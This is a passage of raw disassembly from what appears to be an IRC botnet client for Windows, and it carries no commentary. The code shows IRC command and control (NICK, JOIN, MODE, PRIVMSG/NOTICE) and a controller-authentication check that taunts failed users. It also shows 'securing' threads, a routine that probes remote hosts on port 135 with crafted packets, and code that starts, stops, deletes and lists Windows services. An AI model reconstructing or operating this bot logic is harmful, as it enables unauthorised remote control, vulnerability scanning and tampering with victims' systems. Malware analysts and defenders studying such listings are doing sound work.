		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C8]
		push	offset unk_427D5C
		push	eax
		call	sub_4154E7
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	11h
		push	eax
		call	sub_414F93
		add	esp, 1Ch
		mov	[ebp+var_460], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4F8]
		push	ebx
		push	eax
		push	offset sub_40800A
		push	ebx
		push	ebx
		call	dword_42108C	; CreateThread
		mov	ecx, [ebp+var_460]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43F53C[ecx], eax
		jz	short loc_412739


loc_412723:				; CODE XREF: sub_40CE55+58E2j
		cmp	[ebp+var_450], ebx
		jnz	loc_40D219
		push	32h
		call	dword_421060	; Sleep
		jmp	short loc_412723
; ---------------------------------------------------------------------------


loc_412739:				; CODE XREF: sub_40CE55+58CCj
		call	dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset unk_433488
		jmp	loc_40D402
; ---------------------------------------------------------------------------


loc_41274A:				; CODE XREF: sub_40CE55+FC0j
					; sub_40CE55+FD5j ...
		push	edi
		push	offset aSecure	; "secure"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412772
		push	edi
		push	offset aSec	; "sec"
		call	sub_415910
		pop	ecx
		mov	[ebp+var_458], ebx
		test	eax, eax
		pop	ecx
		jnz	short loc_41277C


loc_412772:				; CODE XREF: sub_40CE55+5904j
		mov	[ebp+var_458], 1


loc_41277C:				; CODE XREF: sub_40CE55+591Bj
		push	[ebp+var_8C]
		lea	eax, [ebp+var_4DC]
		push	80h
		push	eax
		call	sub_415A6A
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		cmp	[ebp+var_458], ebx
		mov	[ebp+var_4E0], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_454], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_450], eax
		mov	eax, offset aSecuring ;	"Securing"
		jnz	short loc_4127C3
		mov	eax, offset aUnsecuring	; "Unsecuring"


loc_4127C3:				; CODE XREF: sub_40CE55+5967j
		push	eax
		push	offset dword_433438
		lea	eax, [ebp+var_2C8]
		push	200h
		push	eax
		call	sub_415A6A
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	19h
		push	eax
		call	sub_414F93
		add	esp, 1Ch
		mov	[ebp+var_45C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4E0]
		push	ebx
		push	eax
		push	offset sub_41465A
		push	ebx
		push	ebx
		call	dword_42108C	; CreateThread
		mov	ecx, [ebp+var_45C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43F53C[ecx], eax
		jz	short loc_412833


loc_412821:				; CODE XREF: sub_40CE55+59DCj
		cmp	[ebp+var_44C], ebx
		jnz	short loc_41284E
		push	32h
		call	dword_421060	; Sleep
		jmp	short loc_412821
; ---------------------------------------------------------------------------


loc_412833:				; CODE XREF: sub_40CE55+59CAj
		call	dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset unk_4333E8


loc_41283F:				; CODE XREF: sub_40CE55+3C66j
					; sub_40CE55+4738j ...
		lea	eax, [ebp+var_2C8]
		push	eax
		call	sub_4154E7
		add	esp, 0Ch


loc_41284E:				; CODE XREF: sub_40CE55+295Fj
					; sub_40CE55+2981j ...
		lea	eax, [ebp+var_2C8]
		push	eax
		call	sub_40B16D
		jmp	loc_40D408
; ---------------------------------------------------------------------------


loc_41285F:				; CODE XREF: sub_40CE55+F96j
					; sub_40CE55+FABj
		push	offset aEnz9_9b	; "enz 9.9b"
		push	offset dword_4333C4


loc_412869:				; CODE XREF: sub_40CE55+44D8j
					; sub_40CE55+47ECj ...
		lea	eax, [ebp+var_2C8]
		push	eax
		call	sub_4154E7


loc_412875:				; CODE XREF: sub_40CE55+5156j
		add	esp, 0Ch
		jmp	loc_40EF86
; ---------------------------------------------------------------------------


loc_41287D:				; CODE XREF: sub_40CE55+F6Cj
					; sub_40CE55+F81j
		mov	esi, [ebp+esi+var_90]
		cmp	esi, ebx
		jz	short loc_4128DD
		push	esi
		call	sub_415A5F
		cmp	eax, ebx
		pop	ecx
		jl	short loc_4128D2
		cmp	eax, 2
		jge	short loc_4128D2
		mov	edx, [ebp+arg_18]
		mov	ecx, eax
		shl	ecx, 7
		cmp	[ecx+edx], bl
		lea	esi, [ecx+edx]
		jz	short loc_4128C7
		lea	eax, [esi+1]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	offset dword_436514
		push	eax
		call	sub_4154E7
		add	esp, 0Ch
		mov	[esi], bl
		jmp	loc_40ECC3
; ---------------------------------------------------------------------------


loc_4128C7:				; CODE XREF: sub_40CE55+5A51j
		push	eax
		push	offset dword_433384
		jmp	loc_40ECB4
; ---------------------------------------------------------------------------


loc_4128D2:				; CODE XREF: sub_40CE55+5A3Cj
					; sub_40CE55+5A41j
		push	eax
		push	offset dword_433344
		jmp	loc_40ECB4
; ---------------------------------------------------------------------------


loc_4128DD:				; CODE XREF: sub_40CE55+5A31j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_4128E2:				; CODE XREF: sub_40CE55+5AA9j
		push	[ebp+var_94]
		push	edi
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412905
		inc	esi
		add	edi, 80h
		cmp	esi, 2
		jl	short loc_4128E2
		jmp	loc_40ECC3
; ---------------------------------------------------------------------------


loc_412905:				; CODE XREF: sub_40CE55+5A9Dj
		mov	eax, [ebp+arg_18]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset dword_436514
		jmp	loc_40ECB4
; ---------------------------------------------------------------------------


loc_41291F:				; CODE XREF: sub_40CE55+F42j
					; sub_40CE55+F57j
		push	[ebp+var_90]
		push	offset dword_43646C
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41298E
		call	sub_41515C
		push	ebx
		call	dword_421114	; ExitProcess


loc_412941:				; CODE XREF: sub_40CE55+F18j
					; sub_40CE55+F2Dj
		push	[ebp+esi+var_90]
		xor	eax, eax
		cmp	[ebp+var_9A4], bl
		setnz	al
		push	eax
		lea	eax, [ebp+var_564]
		push	dword_42C1A4
		push	eax
		call	sub_414433
		lea	eax, [ebp+var_564]
		push	eax
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_412D06
		lea	eax, [ebp+var_564]
		push	eax
		push	offset dword_43330C
		call	sub_40B1E1


loc_41298B:				; CODE XREF: sub_40CE55+2ADAj
		add	esp, 24h


loc_41298E:				; CODE XREF: sub_40CE55+65Cj
					; sub_40CE55+668j ...
		mov	eax, [ebp+arg_24]
		jmp	loc_40D21C
; ---------------------------------------------------------------------------


loc_412996:				; CODE XREF: sub_40CE55+B18j
					; sub_40CE55+B2Dj
		mov	esi, [ebp+esi+var_90]
		cmp	esi, ebx
		mov	[ebp+arg_0], esi
		jz	loc_40D219
		cmp	[ebp+var_98], ebx
		jnz	loc_40D219
		push	offset dword_42F3E4
		push	[ebp+var_94]
		call	sub_416C98
		mov	esi, eax
		push	offset dword_438FD4
		push	ebx
		inc	esi
		call	sub_416C98
		push	offset asc_433308 ; "~"
		push	eax
		call	sub_416C98
		push	[ebp+arg_0]
		mov	edi, eax
		push	offset aHi	; "hi"
		call	sub_415910
		add	esp, 20h
		test	eax, eax
		jz	short loc_412A3E
		lea	eax, [ebp+var_C4]
		push	edi
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSNiceTry ; "NOTICE %s :Nice try, idiot. (%s!%s).\r\n"
		push	[ebp+arg_4]
		call	sub_412D06
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSYouVeBe ; "NOTICE %s :You've been logged.\r\n"
		push	[ebp+arg_4]
		call	sub_412D06
		push	edi
		push	esi
		push	offset dword_43327C


loc_412A2A:				; CODE XREF: sub_40CE55+5C45j
		lea	eax, [ebp+var_2C8]
		push	eax
		call	sub_4154E7
		add	esp, 30h
		jmp	loc_40D7F9
; ---------------------------------------------------------------------------


loc_412A3E:				; CODE XREF: sub_40CE55+5B9Cj
		mov	[ebp+arg_24], offset off_42C260


loc_412A45:				; CODE XREF: sub_40CE55+5C0Cj
		mov	eax, [ebp+arg_24]
		push	edi
		push	dword ptr [eax]
		call	sub_4152EC
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412A9C
		add	[ebp+arg_24], 4
		cmp	[ebp+arg_24], offset off_42C264
		jl	short loc_412A45
		lea	eax, [ebp+var_C4]
		push	edi
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSNiceTry ; "NOTICE %s :Nice try, idiot. (%s!%s).\r\n"
		push	[ebp+arg_4]
		call	sub_412D06
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSYouVeBe ; "NOTICE %s :You've been logged.\r\n"
		push	[ebp+arg_4]
		call	sub_412D06
		push	edi
		push	esi
		push	offset dword_43323C
		jmp	short loc_412A2A
; ---------------------------------------------------------------------------


loc_412A9C:				; CODE XREF: sub_40CE55+5BFFj
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_412AA1:				; CODE XREF: sub_40CE55+5C76j
		cmp	[ebp+arg_0], ebx
		jz	loc_40D219
		cmp	[edi], bl
		jnz	short loc_412AC1
		push	[ebp+arg_0]
		push	offset aHi	; "hi"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412AD2


loc_412AC1:				; CODE XREF: sub_40CE55+5C57j
		inc	esi
		add	edi, 80h
		cmp	esi, 2
		jl	short loc_412AA1
		jmp	loc_40D219
; ---------------------------------------------------------------------------


loc_412AD2:				; CODE XREF: sub_40CE55+5C6Aj
		shl	esi, 7
		add	esi, [ebp+arg_18]
		lea	eax, [ebp+var_A94]
		push	7Fh
		push	eax
		push	esi
		call	sub_416D40
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_412B09
		push	ebx
		push	[ebp+var_4]
		push	offset dword_433208
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_412D4C
		add	esp, 14h


loc_412B09:				; CODE XREF: sub_40CE55+5C98j
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset dword_4331D4
		jmp	loc_40D402
; ---------------------------------------------------------------------------


loc_412B1A:				; CODE XREF: sub_40CE55+20Ej
					; sub_40CE55+223j
		push	[ebp+arg_10]
		push	offset aUserhostS ; "USERHOST %s\r\n"
		push	[ebp+arg_4]
		call	sub_412D06
		push	offset dword_42C23C
		push	[ebp+arg_10]
		push	offset aModeSS	; "MODE	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_412D06
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_412D06
		add	esp, 2Ch
		mov	dword_468998, edi
		jmp	loc_40D0F2
sub_40CE55	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412B60	proc near		; CODE XREF: sub_412B98+125p
					; sub_412B98+14Cp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		xor	esi, esi
		sub	edi, [ebp+arg_C]
		test	edi, edi
		jle	short loc_412B8E


loc_412B71:				; CODE XREF: sub_412B60+2Cj
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_0]
		add	eax, esi
		push	[ebp+arg_8]
		push	eax
		call	sub_417930
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_412B94
		inc	esi
		cmp	esi, edi
		jl	short loc_412B71


loc_412B8E:				; CODE XREF: sub_412B60+Fj
		xor	al, al


loc_412B90:				; CODE XREF: sub_412B60+36j
		pop	edi
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_412B94:				; CODE XREF: sub_412B60+27j
		mov	al, 1
		jmp	short loc_412B90
sub_412B60	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412B98	proc near		; CODE XREF: sub_4033CB+8Bp
					; sub_4033CB+174p

var_2010	= byte ptr -2010h
var_200E	= byte ptr -200Eh
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 2010h
		call	sub_415D70
		mov	eax, [ebp+arg_4]
		push	esi
		dec	eax
		push	edi
		jz	short loc_412BD9
		dec	eax
		jz	short loc_412BB7
		dec	eax


loc_412BB1:				; CODE XREF: sub_412B98+57j
		xor	eax, eax


loc_412BB3:				; CODE XREF: sub_412B98+3Fj
					; sub_412B98+169j
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------


loc_412BB7:				; CODE XREF: sub_412B98+16j
		push	3
		push	1388h
		push	[ebp+arg_0]
		call	dword_43A3D8	; inet_addr
		push	eax
		call	sub_4076EE
		add	esp, 0Ch
		neg	eax
		sbb	eax, eax
		and	eax, 3
		jmp	short loc_412BB3
; ---------------------------------------------------------------------------


loc_412BD9:				; CODE XREF: sub_412B98+13j
		push	6
		push	1
		push	2
		call	dword_43A418	; socket
		mov	esi, eax
		or	edi, 0FFFFFFFFh
		cmp	esi, edi
		mov	[ebp+arg_4], esi
		jz	short loc_412BB1
		push	ebx
		xor	ebx, ebx
		push	10h
		lea	eax, [ebp+var_10]
		push	ebx
		push	eax
		call	sub_415570
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	87h
		call	dword_43A398	; ntohs
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	sub_40A05B
		pop	ecx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	dword_43A340	; connect
		cmp	eax, edi
		jz	loc_412CF5
		push	ebx
		push	48h
		push	offset dword_43658C
		push	esi
		call	dword_43A3E8	; send
		cmp	eax, edi
		jz	loc_412CF5
		mov	esi, 2000h
		push	ebx
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		push	[ebp+arg_4]
		call	dword_43A3B0	; recv
		cmp	eax, edi
		jz	loc_412CF5
		cmp	[ebp+var_200E],	0Ch
		jnz	short loc_412CF5
		push	ebx
		push	18h
		push	offset dword_4365D8
		push	[ebp+arg_4]
		call	dword_43A3E8	; send
		cmp	eax, edi
		jz	short loc_412CF5
		push	ebx
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		push	[ebp+arg_4]
		call	dword_43A3B0	; recv
		mov	esi, eax
		cmp	esi, edi
		jz	short loc_412CF5
		cmp	[ebp+var_200E],	2
		jnz	short loc_412CF5
		push	10h
		push	offset loc_4365F4
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		call	sub_412B60
		add	esp, 10h
		test	al, al
		jz	short loc_412CD5
		cmp	esi, 12Ch
		setnl	bl
		inc	ebx
		jmp	short loc_412CF5
; ---------------------------------------------------------------------------


loc_412CD5:				; CODE XREF: sub_412B98+12Fj
		push	10h
		push	offset dword_436608
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		call	sub_412B60
		add	esp, 10h
		neg	al
		sbb	eax, eax
		and	eax, 3
		mov	ebx, eax


loc_412CF5:				; CODE XREF: sub_412B98+9Bj
					; sub_412B98+B2j ...
		push	[ebp+arg_4]
		call	dword_43A430	; closesocket
		mov	eax, ebx
		pop	ebx
		jmp	loc_412BB3
sub_412B98	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412D06	proc near		; CODE XREF: sub_40CCDD+3Dp
					; sub_40CE55+1CBp ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	200h
		push	eax
		call	sub_41748F
		add	esp, 10h
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_415CF0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_43A3E8	; send
		leave
		retn
sub_412D06	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412D4C	proc near		; CODE XREF: sub_401000+88p
					; sub_401447+76p ...

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		cmp	[ebp+arg_C], 0
		push	esi
		push	edi
		mov	edi, offset aNotice ; "NOTICE"
		jnz	short loc_412D67
		mov	edi, offset aPrivmsg ; "PRIVMSG"


loc_412D67:				; CODE XREF: sub_412D4C+14j
		push	edi
		call	sub_415CF0
		push	[ebp+arg_4]
		mov	esi, 1FAh
		sub	esi, eax
		call	sub_415CF0
		push	[ebp+arg_8]
		sub	esi, eax
		lea	eax, [ebp+var_400]
		push	offset aS_1	; "%s"
		push	esi
		push	eax
		call	sub_415A6A
		lea	eax, [ebp+var_400]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	edi
		push	offset dword_43661C
		push	eax
		call	sub_4154E7
		add	esp, 2Ch
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_415CF0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_43A3E8	; send
		cmp	[ebp+arg_10], 0
		pop	edi
		pop	esi
		jz	short locret_412DE5
		push	7D0h
		call	dword_421060	; Sleep

locret_412DE5:				; CODE XREF: sub_412D4C+8Cj
		leave
		retn
sub_412D4C	endp


; =============== S U B	R O U T	I N E =======================================



sub_412DE7	proc near		; CODE XREF: sub_40CE55:loc_40ED61p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		test	edi, edi
		jz	short loc_412E4C
		lea	esi, [eax+eax*2]
		push	0
		shl	esi, 2
		push	0
		push	dword_436630[esi]
		push	edi
		push	eax
		call	sub_412E6E
		add	esp, 14h
		test	eax, eax
		jnz	short loc_412E2F
		push	edi
		push	off_43662C[esi]
		mov	esi, offset dword_469060
		push	offset dword_436764
		push	esi
		call	sub_4154E7
		add	esp, 10h
		jmp	short loc_412E69
; ---------------------------------------------------------------------------


loc_412E2F:				; CODE XREF: sub_412DE7+2Aj
		push	eax
		call	sub_412F10
		push	eax
		push	edi
		mov	esi, offset dword_469060
		push	offset dword_436728
		push	esi
		call	sub_4154E7
		add	esp, 14h
		jmp	short loc_412E69
; ---------------------------------------------------------------------------


loc_412E4C:				; CODE XREF: sub_412DE7+Cj
		lea	eax, [eax+eax*2]
		mov	esi, offset dword_469060
		push	off_436628[eax*4]
		push	offset dword_4366F0
		push	esi
		call	sub_4154E7
		add	esp, 0Ch


loc_412E69:				; CODE XREF: sub_412DE7+46j
					; sub_412DE7+63j
		mov	eax, esi
		pop	edi
		pop	esi
		retn
sub_412DE7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412E6E	proc near		; CODE XREF: sub_412DE7+20p

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		call	dword_43A38C	; OpenSCManagerA
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_412E95
		call	dword_421088	; RtlGetLastWin32Error
		mov	ebx, eax
		jmp	short loc_412F0A
; ---------------------------------------------------------------------------


loc_412E95:				; CODE XREF: sub_412E6E+1Bj
		push	esi
		push	0F01FFh
		push	[ebp+arg_4]
		push	edi
		call	dword_43A280	; OpenServiceA
		mov	esi, eax
		cmp	esi, ebx
		jnz	short loc_412EB5
		call	dword_421088	; RtlGetLastWin32Error
		mov	ebx, eax
		jmp	short loc_412F02
; ---------------------------------------------------------------------------


loc_412EB5:				; CODE XREF: sub_412E6E+3Bj
		mov	eax, [ebp+arg_0]
		cmp	eax, 1
		jz	short loc_412EE8
		cmp	eax, 3
		jz	short loc_412ED9
		jle	short loc_412EFB
		cmp	eax, 6
		jg	short loc_412EFB
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+arg_8]
		push	esi
		call	dword_43A2E8	; ControlService
		jmp	short loc_412EEF
; ---------------------------------------------------------------------------


loc_412ED9:				; CODE XREF: sub_412E6E+52j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	esi
		call	dword_43A288	; StartServiceA
		jmp	short loc_412EEF
; ---------------------------------------------------------------------------


loc_412EE8:				; CODE XREF: sub_412E6E+4Dj
		push	esi
		call	dword_43A2EC	; DeleteService


loc_412EEF:				; CODE XREF: sub_412E6E+69j
					; sub_412E6E+78j
		test	eax, eax
		jnz	short loc_412EFB
		call	dword_421088	; RtlGetLastWin32Error
		mov	ebx, eax


loc_412EFB:				; CODE XREF: sub_412E6E+54j
					; sub_412E6E+59j ...
		push	esi
		call	dword_43A29C	; CloseServiceHandle


loc_412F02:				; CODE XREF: sub_412E6E+45j
		push	edi
		call	dword_43A29C	; CloseServiceHandle
		pop	esi


loc_412F0A:				; CODE XREF: sub_412E6E+25j
		mov	eax, ebx
		pop	edi
		pop	ebx
		leave
		retn
sub_412E6E	endp


; =============== S U B	R O U T	I N E =======================================



sub_412F10	proc near		; CODE XREF: sub_412DE7+49p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 420h
		cmp	eax, ecx
		ja	loc_412FC5
		jz	loc_412FBE
		add	ecx, 0FFFFFFFBh
		cmp	eax, ecx
		ja	short loc_412F88
		jz	short loc_412F7E
		mov	ecx, eax
		sub	ecx, 3
		jz	short loc_412F74
		dec	ecx
		dec	ecx
		jz	short loc_412F6A
		dec	ecx
		jz	short loc_412F60
		sub	ecx, 51h
		jz	short loc_412F56
		sub	ecx, 24h
		jnz	loc_41303B	; default
					; jumptable 00412FE2 cases 1,5,6,8,9,12,13,15,16


loc_412F4C:				; DATA XREF: .nsp0:off_42B834o
		push	offset aTheSpecifiedSe ; "The specified	service	name is	invalid."
		jmp	loc_41302D
; ---------------------------------------------------------------------------


loc_412F56:				; CODE XREF: sub_412F10+31j
		push	offset aTheRequestedCo ; "The requested	control	code is	undefined"...
		jmp	loc_41302D
; ---------------------------------------------------------------------------


loc_412F60:				; CODE XREF: sub_412F10+2Cj
		push	offset aTheHandleIsInv ; "The handle is	invalid."
		jmp	loc_41302D
; ---------------------------------------------------------------------------


loc_412F6A:				; CODE XREF: sub_412F10+29j
		push	offset aTheHandleDoesN ; "The handle does not have the required	a"...
		jmp	loc_41302D
; ---------------------------------------------------------------------------


loc_412F74:				; CODE XREF: sub_412F10+25j
		push	offset aTheServiceBina ; "The service binary file could	not be fo"...
		jmp	loc_41302D
; ---------------------------------------------------------------------------


loc_412F7E:				; CODE XREF: sub_412F10+1Ej
		push	offset aTheServiceCann ; "The service cannot be	stopped	because	o"...
		jmp	loc_41302D
; ---------------------------------------------------------------------------


loc_412F88:				; CODE XREF: sub_412F10+1Cj
		mov	ecx, eax
		sub	ecx, 41Ch
		jz	short loc_412FB7
		dec	ecx
		jz	short loc_412FB0
		dec	ecx
		jz	short loc_412FA9
		dec	ecx
		jnz	loc_41303B	; default
					; jumptable 00412FE2 cases 1,5,6,8,9,12,13,15,16
		push	offset aTheDatabaseIsL ; "The database is locked."
		jmp	loc_41302D
; ---------------------------------------------------------------------------


loc_412FA9:				; CODE XREF: sub_412F10+86j
		push	offset aAThreadCouldNo ; "A thread could not be	created	for the	s"...
		jmp	short loc_41302D
; ---------------------------------------------------------------------------


loc_412FB0:				; CODE XREF: sub_412F10+83j
		push	offset aTheProcessForT ; "The process for the service was started"...
		jmp	short loc_41302D
; ---------------------------------------------------------------------------


loc_412FB7:				; CODE XREF: sub_412F10+80j
		push	offset aTheRequested_0 ; "The requested	control	code is	not valid"...
		jmp	short loc_41302D
; ---------------------------------------------------------------------------


loc_412FBE:				; CODE XREF: sub_412F10+11j
		push	offset aAnInstanceOfTh ; "An instance of the service is	already	r"...
		jmp	short loc_41302D
; ---------------------------------------------------------------------------


loc_412FC5:				; CODE XREF: sub_412F10+Bj
		mov	ecx, 45Bh
		cmp	eax, ecx
		ja	short loc_41303B ; default
					; jumptable 00412FE2 cases 1,5,6,8,9,12,13,15,16
		jz	short loc_413028
		lea	ecx, [eax-422h]
		cmp	ecx, 11h	; switch 18 cases
		ja	short loc_41303B ; default
					; jumptable 00412FE2 cases 1,5,6,8,9,12,13,15,16
		movzx	ecx, byte_41307C[ecx]
		jmp	off_413054[ecx*4] ; switch jump


loc_412FE9:				; DATA XREF: .nsp0:off_413054o
		push	offset aTheSpecifiedDa ; jumptable 00412FE2 case 7
		jmp	short loc_41302D
; ---------------------------------------------------------------------------


loc_412FF0:				; CODE XREF: sub_412F10+D2j
					; DATA XREF: .nsp0:off_413054o
		push	offset aTheServiceDepe ; jumptable 00412FE2 case 17
		jmp	short loc_41302D
; ---------------------------------------------------------------------------


loc_412FF7:				; CODE XREF: sub_412F10+D2j
					; DATA XREF: .nsp0:off_413054o
		push	offset aTheServiceDe_0 ; jumptable 00412FE2 case 10
		jmp	short loc_41302D
; ---------------------------------------------------------------------------


loc_412FFE:				; CODE XREF: sub_412F10+D2j
					; DATA XREF: .nsp0:off_413054o
		push	offset aTheServiceHasB ; jumptable 00412FE2 case 0
		jmp	short loc_41302D
; ---------------------------------------------------------------------------


loc_413005:				; CODE XREF: sub_412F10+D2j
					; DATA XREF: .nsp0:off_413054o
		push	offset aTheSpecified_0 ; jumptable 00412FE2 case 2
		jmp	short loc_41302D
; ---------------------------------------------------------------------------


loc_41300C:				; CODE XREF: sub_412F10+D2j
					; DATA XREF: .nsp0:off_413054o
		push	offset aTheServiceCoul ; jumptable 00412FE2 case 11
		jmp	short loc_41302D
; ---------------------------------------------------------------------------


loc_413013:				; CODE XREF: sub_412F10+D2j
					; DATA XREF: .nsp0:off_413054o
		push	offset aTheServiceHa_0 ; jumptable 00412FE2 case 14
		jmp	short loc_41302D
; ---------------------------------------------------------------------------


loc_41301A:				; CODE XREF: sub_412F10+D2j
					; DATA XREF: .nsp0:off_413054o
		push	offset aTheRequested_1 ; jumptable 00412FE2 case 3
		jmp	short loc_41302D
; ---------------------------------------------------------------------------


loc_413021:				; CODE XREF: sub_412F10+D2j
					; DATA XREF: .nsp0:off_413054o
		push	offset aTheServiceHasN ; jumptable 00412FE2 case 4
		jmp	short loc_41302D
; ---------------------------------------------------------------------------


loc_413028:				; CODE XREF: sub_412F10+BEj
		push	offset aTheSystemIsShu ; "The system is	shutting down."


loc_41302D:				; CODE XREF: sub_412F10+41j
					; sub_412F10+4Bj ...
		push	offset dword_4689A0
		call	sub_4154E7
		pop	ecx
		pop	ecx
		jmp	short loc_41304E
; ---------------------------------------------------------------------------


loc_41303B:				; CODE XREF: sub_412F10+36j
					; sub_412F10+89j ...
		push	eax		; default
					; jumptable 00412FE2 cases 1,5,6,8,9,12,13,15,16
		push	offset aAnUnknownError ; "An unknown error occurred: <%ld>"
		push	offset dword_4689A0
		call	sub_4154E7
		add	esp, 0Ch


loc_41304E:				; CODE XREF: sub_412F10+129j
		mov	eax, offset dword_4689A0
		retn
sub_412F10	endp

; ---------------------------------------------------------------------------
off_413054	dd offset loc_412FFE	; DATA XREF: sub_412F10+D2r
		dd offset loc_413005	; jump table for switch	statement
		dd offset loc_41301A
		dd offset loc_413021
		dd offset loc_412FE9
		dd offset loc_412FF7
		dd offset loc_41300C
		dd offset loc_413013
		dd offset loc_412FF0
		dd offset loc_41303B
byte_41307C	db	0,     9,     1,     2 ; DATA XREF: sub_412F10+CBr
		db	3,     9,     9,     4 ; indirect table	for switch statement
		db	9,     9,     5,     6
		db	9,     9,     7,     9
		db	9,     8

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41308E	proc near		; CODE XREF: sub_40CE55+1F37p

var_38C		= byte ptr -38Ch
var_18C		= byte ptr -18Ch
var_188		= byte ptr -188h
var_24		= byte ptr -24h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 38Ch
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		mov	[ebp+var_8], ebx
		call	dword_43A38C	; OpenSCManagerA
		push	ebx
		mov	[ebp+var_C], eax
		push	[ebp+arg_8]
		push	offset aTheFollowingWi ; "The following	Windows	services are regi"...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D4C
		add	esp, 14h


loc_4130C6:				; CODE XREF: sub_41308E+120j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_18C]
		push	168h
		push	eax
		push	3
		push	30h
		push	[ebp+var_C]
		call	dword_43A358	; EnumServicesStatusA
		test	eax, eax
		jnz	short loc_413100
